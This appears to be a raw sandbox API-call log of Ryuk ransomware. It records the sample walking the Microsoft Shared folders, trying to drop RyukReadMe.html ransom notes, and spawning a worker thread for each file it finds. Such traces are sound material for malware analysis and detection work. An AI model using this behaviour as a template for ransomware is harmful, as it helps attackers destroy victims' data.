	[0166.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0166.542] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.543] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1
	[0166.543] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1
	[0166.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0166.547] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.548] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1
	[0166.548] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0
	[0166.548] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0166.548] SetLastError (dwErrCode=0x0) 
	[0166.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.548] GetLastError () returned 0x5
	[0166.549] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.549] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.549] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0166.549] SetLastError (dwErrCode=0x0) 
	[0166.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.549] GetLastError () returned 0x5
	[0166.549] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0166.558] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.558] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0166.558] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0
	[0166.558] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0166.558] SetLastError (dwErrCode=0x0) 
	[0166.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.559] GetLastError () returned 0x5
	[0166.559] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.559] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0166.559] SetLastError (dwErrCode=0x0) 
	[0166.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.560] GetLastError () returned 0x5
	[0166.560] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0166.568] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.569] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0166.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0166.573] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.573] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0166.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0166.575] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.576] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1
	[0166.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0166.578] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.579] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1
	[0166.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0166.581] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.582] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1
	[0166.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0166.719] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.720] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0166.720] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1
	[0166.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0166.729] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.730] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0166.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0166.734] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.735] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0166.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0166.740] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.741] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1
	[0166.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0166.744] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.744] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1
	[0166.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0166.747] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.748] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1
	[0166.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0166.751] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.751] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1
	[0166.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0166.934] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.935] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x7c, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1
	[0166.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0166.937] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.938] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1
	[0166.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0166.941] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.942] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x7c, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1
	[0166.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0166.944] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
